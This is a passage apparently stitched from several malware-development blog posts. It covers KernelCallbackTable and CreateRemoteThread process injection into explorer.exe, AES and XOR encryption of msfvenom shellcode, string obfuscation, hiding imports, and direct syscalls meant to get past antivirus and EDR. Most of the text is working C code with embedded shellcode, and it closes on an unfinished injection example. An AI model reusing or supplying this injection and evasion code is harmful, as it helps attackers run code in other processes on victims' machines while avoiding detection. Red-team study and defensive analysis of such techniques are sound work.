	LPVOID payloadAddr = VirtualAllocEx(hProcess, NULL, payloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	WriteProcessMemory(hProcess, payloadAddr, payload, payloadSize, NULL);
	printf("[+] Payload Address: 0x%p\n", payloadAddr);

	// 4. Write the new table to the remote process
	LPVOID newKCTAddr = VirtualAllocEx(hProcess, NULL, sizeof(kct), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	kct.__fnCOPYDATA = (ULONG_PTR)payloadAddr;
	WriteProcessMemory(hProcess, newKCTAddr, &kct, sizeof(kct), NULL);
	printf("[+] __fnCOPYDATA: 0x%p\n", kct.__fnCOPYDATA);

	// Update the PEB
	WriteProcessMemory(hProcess, (PBYTE)pbi.PebBaseAddress + offsetof(PEB, KernelCallbackTable), &newKCTAddr, sizeof(ULONG_PTR), NULL);
	printf("[+] Remote process PEB updated\n");

	// Trigger execution of payload
	COPYDATASTRUCT cds;
	WCHAR msg[] = L"Pwn";
	cds.dwData = 1;
	cds.cbData = lstrlen(msg) * 2;
	cds.lpData = msg;
	SendMessage(hWindow, WM_COPYDATA, (WPARAM)hWindow, (LPARAM)&cds);
	printf("[+] Payload executed\n");
}

NOTE: I already removed the cleanup code (like restoring the original KernelCallbackTable) because they don’t matter anymore since the target process has already crashed and exited.

The full project can be found here.

And here it is in action.

Conclusion

That’s it! That is how I modified the base PoC to make KernelCallbackTable process injection work according to what I wanted.

If anyone knows other solutions, like making the remote process not crash, I’m happy to hear it. :)

In this post, I’ll share some of the libraries that I found easy to use and useful during my malware development journey.

tiny-AES-c

When writing malware, it’s a must to encrypt your shellcode. Otherwise, your malware won’t even pass the static analysis. One of the recommended ways of encrypting the shellcode is by using AES, and one of the easiest ways to implement this is by using the kokke/tiny-AES-c library.

To use this library, just add the following header and source files to your project.

• aes.hpp
• aes.h
• aes.c

The following shows an example of how to AES-encrypt (using CBC mode) your shellcode and its corresponding output.

#include <Windows.h>
#include <stdio.h>
#include "lib/aes.hpp"

int main()
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}

	printf("\n");
}

To decrypt the encrypted shellcode, simply used the AES_CBC_decrypt_buffer() function.

Other AES libraries also exist like the following:

• SergeyBel/AES
• kkAyataka/plusaes

skCrypter

skadro-official/skCrypter is a compile-time, user-mode and kernel-mode string crypter library. It uses XOR algorithm with a randomized key and has protection against default XOR brute-forcing.

But why do we need to encrypt/obfuscate our strings? This is done to “hide” some of the arfifacts of your malware. While it may help a little bit against average reverse engineers, obfuscating strings is still a good idea.

As an example, take a look at the following code which dynamically resolves the NtDelayExecution function via GetModuleHandleA and GetProcAddress to perform a “sleep” routine.

#include <Windows.h>
#include <stdio.h>

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtDelayExecution");

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

If we compile the above code and look for the “ntdll.dll” and “NtDelayExecution” strings, they are visible.

If we used functions that are considered malicious, such as the combination of OpenProcess, VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread, then our malware might not even pass the static analysis phase of an AV.

This is where the library skadro-official/skCrypter comes into play. To use it, just import the header file skCrypter.h and place the strings you wanted to obfuscate within the skCrypt() function.

As a demo, the previous code was modified to hide both the “ntdll.dll” and “NtDelayExecution” strings using the skCrypter.h library:

#include <Windows.h>
#include <stdio.h>
#include "lib/skCrypter.h"

int main()
{
	typedef NTSTATUS(WINAPI* pNtDelayExecution)(IN BOOLEAN, IN PLARGE_INTEGER);
	pNtDelayExecution NtDelayExecution = (pNtDelayExecution)GetProcAddress(GetModuleHandleA(skCrypt("ntdll.dll")), skCrypt("NtDelayExecution"));

	int msDelaynumber = 10000;
	LARGE_INTEGER  delayInterval;
	delayInterval.QuadPart = -10000 * msDelaynumber;
	NtDelayExecution(FALSE, &delayInterval);

	printf("Done!\n");
}

As we can see, the strings disappeared within the binary.

I also found the following string encryption libraries, though I haven’t used/tested them:

• JustasMasiulis/xorstr
• qis/xorstr
• TyrarFox/encstr
• pyj2323/StrCrypt

lazy_importer

WinAPI functions used by binaries are listed in the binary’s Import Address Table (IAT). This is not good in terms of evasion since most anti-malware solutions reads the binary’s IAT and checks for the presence of dangerous/malicious functions imported/used.

#include <Windows.h>

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    CreateProcessW(L"C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

For example, if the above code was compiled, the function CreateProcessW is listed in the IAT and is flagged by PEStudio.

This artifact can be easily hidden by utilizing the JustasMasiulis/lazy_importer header. Using it is as simple as importing the header file lazy_importer.hpp and invoking the LI_FN() function. For example:

#include <Windows.h>
#include "lib/lazy_importer.hpp"

int main()
{

    PROCESS_INFORMATION pi;
    STARTUPINFO si = { sizeof(si) };

    LI_FN(CreateProcessW)(L"C:\\Windows\\System32\\notepad.exe", nullptr, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi);

    WaitForSingleObject(pi.hProcess, INFINITE);
    
    CloseHandle(pi.hProcess);
    CloseHandle(pi.hThread);
}

NOTE: Change NULL values to nullptr otherwise you’ll get a compilation error.

If we look at the IAT again, the CreateProcessW function is not listed anymore.

The following could also be used as an alternative library to dynamically import functions and modules:

• AmJayden/Lazy-Importer

SysWhisper2

If you’ve been into AV/EDR evasion, I’m sure you’re aware that using syscalls is a well-known method to bypass detection controls (such as “User-land Hooking”) by jumping into kernel-mode. And if you heard about syscalls, most likely you’re familiar with the tool jthuraisamy/SysWhispers2.

To use the tool, just run the python script syswhispers.py with the “Nt*” functions you want to use to generate the required files. For example:

$ python3 syswhispers.py -f NtOpenProcess,NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtClose -o syscalls

                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021

SysWhispers2: Why call the kernel when you can whisper?

Complete! Files written to:
        syscalls.h
        syscalls.c
        syscallsstubs.asm

Then do the following:

1. Copy the generated H/C/ASM files into the project folder.
2. In Visual Studio, go to Project → Build Customizations… and enable MASM.
3. In the Solution Explorer, add the .h and .c/.asm files to the project as header and source files, respectively.
4. Go to the properties of the ASM file, and set the Item Type to Microsoft Macro Assembler.
5. Ensure that the project platform is set to x64. 32-bit projects are not supported at this time.

The “Nt*” functions can now be used. For example:

#include <Windows.h>
#include "lib/syscalls.h"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 11256;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	NtOpenProcess(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	NtAllocateVirtualMemory(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	NtWriteVirtualMemory(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	NtClose(hProcess);
	NtClose(hThread);

	return 0;
}

The downside of using this tool is that it’s already signatured by AV, though it can still be bypassed as mentioned in my previous post.

For x86 syscalls, mai1zhi2/SysWhispers2_x86 could be used.

inline_syscall

Aside from being detected by AVs, the other thing that I don’t like with jthuraisamy/SysWhispers2 is the additional task of re-running the tool and re-importing the generated files every time I need to add or use a new “Nt*” functions.

Good thing, JustasMasiulis/inline_syscall solves this issue. To use it, simply import the following files as header files:

• in_memory_init.hpp
• inline_syscall.hpp
• inline_syscall.inl

Then call the initialization function jm::init_syscalls_list() before using the INLINE_SYSCALL(function_pointer) and INLINE_SYSCALL_T(function_type) macros.

NOTE: If you’re using Visual Studio, make sure to use LLVM (clang-cl) as the Platform Toolset.

Here’s an example code that utilizes the INLINE_SYSCALL macro:

#include <Windows.h>
#include "lib/in_memory_init.hpp"

typedef struct _UNICODE_STRING
{
	USHORT Length;
	USHORT MaximumLength;
	PWSTR  Buffer;
} UNICODE_STRING, * PUNICODE_STRING;

typedef struct _OBJECT_ATTRIBUTES
{
	ULONG           Length;
	HANDLE          RootDirectory;
	PUNICODE_STRING ObjectName;
	ULONG           Attributes;
	PVOID           SecurityDescriptor;
	PVOID           SecurityQualityOfService;
} OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES;

typedef struct _CLIENT_ID
{
	HANDLE UniqueProcess;
	HANDLE UniqueThread;
} CLIENT_ID, * PCLIENT_ID;

typedef struct _PS_ATTRIBUTE
{
	ULONG  Attribute;
	SIZE_T Size;
	union
	{
		ULONG Value;
		PVOID ValuePtr;
	} u1;
	PSIZE_T ReturnLength;
} PS_ATTRIBUTE, * PPS_ATTRIBUTE;

typedef struct _PS_ATTRIBUTE_LIST
{
	SIZE_T       TotalLength;
	PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST;

NTSTATUS NtOpenProcess(OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PCLIENT_ID ClientId OPTIONAL);

NTSTATUS NtAllocateVirtualMemory(IN HANDLE ProcessHandle, IN OUT PVOID* BaseAddress, IN ULONG ZeroBits, IN OUT PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect);

NTSTATUS NtWriteVirtualMemory(IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN PVOID Buffer, IN SIZE_T NumberOfBytesToWrite, OUT PSIZE_T NumberOfBytesWritten OPTIONAL);

NTSTATUS NtCreateThreadEx(OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes OPTIONAL, IN HANDLE ProcessHandle, IN PVOID StartRoutine, IN PVOID Argument OPTIONAL, IN ULONG CreateFlags, IN SIZE_T ZeroBits, IN SIZE_T StackSize, IN SIZE_T MaximumStackSize, IN PPS_ATTRIBUTE_LIST AttributeList OPTIONAL);

NTSTATUS NtClose(IN HANDLE Handle);

int main(int argc, char* argv[])
{
	jm::init_syscalls_list();

	// PID of explorer.exe
	DWORD pid = 4396;

	// msfvenom --payload windows/x64/messagebox TEXT="Hello there." EXITFUNC=thread -f c
	unsigned char shellcode[] = "\x9c\x28\xe1\x84\x90\x9f\x9f\x9f\x88\xb0\x60\x60\x60\x21\x31\x21\x30\x32\x31\x36\x28\x51\xb2\x05\x28\xeb\x32\x00\x5e\x28\xeb\x32\x78\x5e\x28\xeb\x32\x40\x5e\x28\xeb\x12\x30\x5e\x28\x6f\xd7\x2a\x2a\x2d\x51\xa9\x28\x51\xa0\xcc\x5c\x01\x1c\x62\x4c\x40\x21\xa1\xa9\x6d\x21\x61\xa1\x82\x8d\x32\x21\x31\x5e\x28\xeb\x32\x40\x5e\xeb\x22\x5c\x28\x61\xb0\x5e\xeb\xe0\xe8\x60\x60\x60\x28\xe5\xa0\x14\x0f\x28\x61\xb0\x30\x5e\xeb\x28\x78\x5e\x24\xeb\x20\x40\x29\x61\xb0\x83\x3c\x28\x9f\xa9\x5e\x21\xeb\x54\xe8\x28\x61\xb6\x2d\x51\xa9\x28\x51\xa0\xcc\x21\xa1\xa9\x6d\x21\x61\xa1\x58\x80\x15\x91\x5e\x2c\x63\x2c\x44\x68\x25\x59\xb1\x15\xb6\x38\x5e\x24\xeb\x20\x44\x29\x61\xb0\x06\x5e\x21\xeb\x6c\x28\x5e\x24\xeb\x20\x7c\x29\x61\xb0\x5e\x21\xeb\x64\xe8\x28\x61\xb0\x21\x38\x21\x38\x3e\x39\x3a\x21\x38\x21\x39\x21\x3a\x28\xe3\x8c\x40\x21\x32\x9f\x80\x38\x21\x39\x3a\x5e\x28\xeb\x72\x89\x29\x9f\x9f\x9f\x3d\x29\xa7\xa1\x60\x60\x60\x60\x5e\x28\xed\xf5\x7a\x61\x60\x60\x5e\x2c\xed\xe5\x47\x61\x60\x60\x28\x51\xa9\x21\xda\x25\xe3\x36\x67\x9f\xb5\xdb\x80\x7d\x4a\x6a\x21\xda\xc6\xf5\xdd\xfd\x9f\xb5\x28\xe3\xa4\x48\x5c\x66\x1c\x6a\xe0\x9b\x80\x15\x65\xdb\x27\x73\x12\x0f\x0a\x60\x39\x21\xe9\xba\x9f\xb5\x28\x05\x0c\x0c\x0f\x40\x14\x08\x05\x12\x05\x4e\x60\x2d\x05\x13\x13\x01\x07\x05\x22\x0f\x18\x60";
	SIZE_T shellcodeSize = sizeof(shellcode);

	// XOR-decrypt the shellcode
	char key = '`';
	for (int i = 0; i < sizeof(shellcode) - 1; i++) {
		shellcode[i] = shellcode[i] ^ key;
	}

	HANDLE hProcess;
	OBJECT_ATTRIBUTES objectAttributes = { sizeof(objectAttributes) };
	CLIENT_ID clientId = { (HANDLE)pid, NULL };
	INLINE_SYSCALL(NtOpenProcess)(&hProcess, PROCESS_ALL_ACCESS, &objectAttributes, &clientId);

	LPVOID baseAddress = NULL;
	INLINE_SYSCALL(NtAllocateVirtualMemory)(hProcess, &baseAddress, 0, &shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	INLINE_SYSCALL(NtWriteVirtualMemory)(hProcess, baseAddress, &shellcode, sizeof(shellcode), NULL);

	HANDLE hThread;
	INLINE_SYSCALL(NtCreateThreadEx)(&hThread, GENERIC_EXECUTE, NULL, hProcess, baseAddress, NULL, FALSE, 0, 0, 0, NULL);

	INLINE_SYSCALL(NtClose)(hProcess);
	INLINE_SYSCALL(NtClose)(hThread);

	return 0;
}

NOTE: Make sure to create the necessary structs and typedefs as this tool won’t do it for you, unlike jthuraisamy/SysWhispers2.

TIP: Use jthuraisamy/SysWhispers2 to generate the required structs and typedefs, then utilize JustasMasiulis/inline_syscall when using syscalls.

If we run the compiled binary against Windows Defender, it was not detected (at the time of writing) compared to the binary generated with jthuraisamy/SysWhispers2.

Conclusion

That’s it for now! I know I may have missed some libraries, so if you know some easy to use libraries for malware development, feel free to let me know and I can add them here.

Huge thanks to all the people who are dedicating their time writing and open-sourcing tools, as well as those who keep sharing their knowledge and research. And if you can, please support and sponsor their work.

Don’t worry because you’re not alone. No one starts off being excellent and we’re all once a beginner. Also, not every one of us is motivated to start working on some things. And if you’re like me who doesn’t have all the free time to develop something from scratch and is sometimes “too lazy” to work on things, I just simply Google my way to “quickly” get things done.

In this post, I’ll demonstrate how to write malware (for whatever purposes you needed it) from the perspective of someone who has very limited time to develop it and someone who has very basic programming skills.

Introduction

The binary that we’re going to develop will inject a shellcode into a remote process running on the target system. This technique, which is commonly employed by malware authors, is called Process Injection, and there are several different ways of implementing this technique as documented in the following:

• MITRE ATT&CK: Process Injection, Technique T1055
• BlackHat: Process Injection Techniques - Gotta Catch Them All
• Red Teaming Experiments: Code & Process Injection.

We don’t want to get stuck in “analysis paralysis” on which process injection technique is “best”, so we’ll just stick to the classic CreateRemoteThread method. The image below best illustrates how this technique works.

Huge thanks to Elastic for creating this awesome GIF and for their awesome blog post

Skeleton Code

Now, since we’re “too lazy” to start from scratch, we can just simply search the web on how to do this. For this post, I’ll use the code provided by @spotheplanet in his post about this technique.

So here’s what the skeleton code would look like (Note that I made very slight modifications with the code.):

#include <Windows.h>

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
	hThread = CreateRemoteThread(hProcess, nullptr, 0, (LPTHREAD_START_ROUTINE)baseAddress, nullptr, 0, nullptr);

	CloseHandle(hProcess);

	return 0;
}

I highly recommend the following repos if you want to have a baseline code for various process injection techniques:

• injection by @modexpblog
• injection by @theevilbit

If we compile and run the above code, we can see that the injection worked. As illustrated below, the shellcode was injected into the address space of explorer.exe.

Obviously, this code is signatured heavily already by AV vendors and will be caught immediately.

Encrypting the Shellcode

So how can we improve our malware? The first thing that we can do is to encrypt our shellcode since shellcodes generated by msfvenom are heavily signatured and any AV would immediately detect it. We will not write a custom encoder/crypter since we’re just noobs and we don’t have time. So we’ll Google our way on this.

For this one, we’ll AES-encrypt the shellcode. Good thing open-source libraries are available to ease things up. Example of them are the following:

• SergeyBel/AES
• kokke/tiny-AES-c
• kkAyataka/plusaes

I’m going to use kokke/tiny-AES-c for this post. To use this library, simply download the following files and add them to your Visual Studio project.

• aes.hpp
• aes.h
• aes.c

Then on the main.cpp file, add the header file aes.hpp by adding the following line.

#include "include/aes.hpp"

We’ll also use AES256 instead of the default AES128. To do that, open the file aes.h and comment out #define AES128 1 (line 27) and uncomment #define AES256 1 (line 29).

Now that everything is set up, it’s time to encrypt the shellcode. This can be done using the following code.

#include <Windows.h>
#include "include/aes.hpp"
#include <stdio.h>

int main(int argc, char* argv[])
{
	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x00";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;
	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_encrypt_buffer(&ctx, shellcode, shellcodeSize);

	printf("Encrypted buffer:\n");

	for (int i = 0; i < shellcodeSize - 1; i++) {
		printf("\\x%02x", shellcode[i]);
	}
}

The following shows the output of the above code and the AES-encrypted shellcode.

To use it, simply change the contents of shellcode parameter using the above output, and then add the decryption code. The following shows the updated code:

#include <Windows.h>
#include "include/aes.hpp"

int main(int argc, char* argv[])
{
	// PID of explorer.exe
	DWORD pid = 5284;

	// msfvenom -p windows/x64/exec CMD=calc EXITFUNC=thread -f c 
	unsigned char shellcode[] = "\x9c\xad\x1d\x5b\x52\x35\xdf\x9e\x15\xc3\xa4\x94\xb0\xf6\xd5\x1a\x14\x82\x9b\xc2\xc5\x40\x9e\x03\x45\xdf\x0d\x85\xfc\xff\xc2\xf7\x37\x84\x4b\xa1\x5f\x07\xa3\xf5\xd5\xe3\x54\xe4\x33\x84\x24\xf9\xaf\xbd\xc1\x53\xc9\x87\x4c\xc2\x12\xc7\x24\x6c\x22\xe9\x41\xb4\x47\x9c\xfa\x4c\x20\x8f\x57\x17\x29\x00\x10\x40\x83\xff\xc8\xfe\xa5\x87\x1f\xfd\xec\x30\x72\x07\x71\x59\xf8\x05\xda\x49\x12\xdf\x0a\xc5\xb8\x65\x99\x65\xfa\x5f\xc4\xc3\x8b\x40\x1e\xbe\xf1\x55\xde\x4f\x3a\x65\x2f\x14\xcc\x29\x9d\x7d\x17\xd0\x55\x99\x9e\xc3\x0d\xd7\xbb\xa3\x00\x34\x79\x32\xbe\x16\x66\xf6\xa4\xbc\xda\x40\x06\x7b\x8d\x56\x79\x6b\x21\x79\xd5\xf9\x55\x52\xe2\xd5\x8c\x34\xfd\x1c\x26\xc2\xf5\xd4\x6b\xca\xc3\x74\x91\x9d\xe4\xa2\xf4\x71\x42\x90\x2c\x6a\x11\x66\xf8\x56\x8f\x3c\x26\xa4\x27\x89\x6f\xc2\x02\x48\x53\xed\x08\x32\xa6\x48\x0f\x9a\x39\x0e\x5d\x38\xb4\xa2\x30\x6d\x27\x94\x80\x8c\x06\xa8\x86\x5f\x0b\xda\x44\x83\x51\x55\xfc\xb9\xe2\xcb\xbc\x95\xc8\xd6\x18\xd7\x1b\x04\x3d\xfb\x53\x9b\x57\xa8\xb2\xab\xe7\x27\x3b\xd2\xcb\x53\x20\x11\xcc\x5f\xaf\x31\xcf\xba\x83\xd7\xc7\xa8\xf7\x0c\x78\x6d\x7f\x46\x99\xd7\x33\x23";
	SIZE_T shellcodeSize = sizeof(shellcode);

	unsigned char key[] = "Captain.MeeloIsTheSuperSecretKey";
	unsigned char iv[] = "\x9d\x02\x35\x3b\xa3\x4b\xec\x26\x13\x88\x58\x51\x11\x47\xa5\x98";

	struct AES_ctx ctx;

	AES_init_ctx_iv(&ctx, key, iv);
	AES_CBC_decrypt_buffer(&ctx, shellcode, shellcodeSize);

	HANDLE hProcess;
	hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	PVOID baseAddress;
	baseAddress = VirtualAllocEx(hProcess, nullptr, shellcodeSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

	WriteProcessMemory(hProcess, baseAddress, shellcode, shellcodeSize, nullptr);

	HANDLE hThread;
